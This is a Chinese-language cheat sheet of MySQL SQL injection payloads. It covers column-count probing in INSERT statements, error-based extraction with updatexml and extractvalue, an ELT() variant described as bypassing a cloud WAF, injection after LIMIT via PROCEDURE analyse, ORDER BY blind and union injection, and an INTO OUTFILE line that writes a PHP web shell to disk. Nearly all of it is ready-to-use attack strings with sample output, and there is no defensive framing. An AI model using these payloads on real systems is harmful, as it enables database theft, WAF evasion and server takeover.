insert into tablename(col1,col2,col3) values(v1,v2,v3)
拼接即可,判断哪个不报错,并且观察回显位
1')--+
1','2')--+
1','2','3')--+
如果没有回显只是报错
' or updatexml(1,concat('~',(select database()),'~'),1) or '
该思路来自一位朋友分享,绕过了云waf
elt 函数可以代替if 和case when
extractvalue() 可以来代替updatexml 函数
elt()
elt(n,str1,str2,str3);
该函数的作用是,返回参数中的第n个字符串,参数可以是字符串常量或者列名。
比如:
select elt(2,'888','666');
其返回的结果是666。
如果第一个参数是0,则返回NULL。并且如果第一个参数是0,后面无论是什么,都不会考虑了,如果是函数,则不会运行了。
payload:
# 正确报错
select extractvalue(1,ELT(substring(current_user,1,1)="r","~",1));
ERROR 1105 (HY000): XPATH syntax error: '~'
# 错误回显
select extractvalue(1,ELT(substring(current_user,1,1)="q","~",1));
+------------------------------------------------------------+
| extractvalue(1,ELT(substring(current_user,1,1)="q","~",1)) |
+------------------------------------------------------------+
| NULL |
+------------------------------------------------------------+
1 row in set (0.000 sec)
extra'ctvalue(1,EL'T(1=1,"~",1))
extra'ctvalue(1,EL'T(substring(current_user,1,1)="s","~",1))
Mysql下Limit注入方法 | 离别歌 (leavesongs.com)
此方法适用于MySQL 5.x中,在 limit语句后面的注入
报错注入
后面加单引号直接报错了
SELECT * FROM `demo03`.`dso_news` WHERE status=99 AND catid IN (147,152,240,153,193,194,195,196,154,242,243,244,245,246,155,272,277,278,279,280,283,285,148,159,290,291,292,293,294,298,289,295,296,299,149,164,150,168,308,151,172,284) ORDER BY listorder ASC,id DESC LIMIT 30\'
可以看到注入位置是在limit后面,并且还将单引号转义了,本地测试limit注入如下
procedure analyse(1,extractvalue(rand(),concat(0x3a,version())))
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select
extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
(INTO 关键字在有写权限可以用来写文件)
尝试利用 into outfile 写shell 虽然dumpfile也可以写文件但是因为 dumpfile 后面没有附加参数(export_options) 这点是 into outfile 利用的关键
SELECT * FROM `user` WHERE `id` = 1 LIMIT 1 into outfile "C:/Users/administrator/Desktop/a.php" lines terminated by "$_POST[1]);?>";
有的时候会遇到这种注入,加载网页后面,感觉很奇葩,记录一下payload
直接在网页后面加单引号就报错了
最后payload如下,类似于'||'a'<'b
/cn'+AND+updatexml(0,concat(0x7e,(select+version()),0x7e),0)+AND+'000TqP0'='000TqP0/
更多参考:sql注入之order by注入
# 报错注入
select *from cy order by id and(updatexml(1,concat(0x7e,(select user())),0));
# 盲注
select *from cy order by id,(select 1 from (select sleep(1))a);
# union
当$query = "select * from test order by user_id $evil;";没有使用括号包裹的时候,是无法直接使用union查询的。
当 $query = "(select * from test order by user_id $evil);";使用括号进行包裹的时候,此时是可以进行union查询的。
payload:
(select *from cy order by id)union(select 1,version(),3);
# if
select *from cy order by if(1=,id,name);
select *from cy order by if(1=2,id,name);
if(now()=sysdate(),sleep(6),0)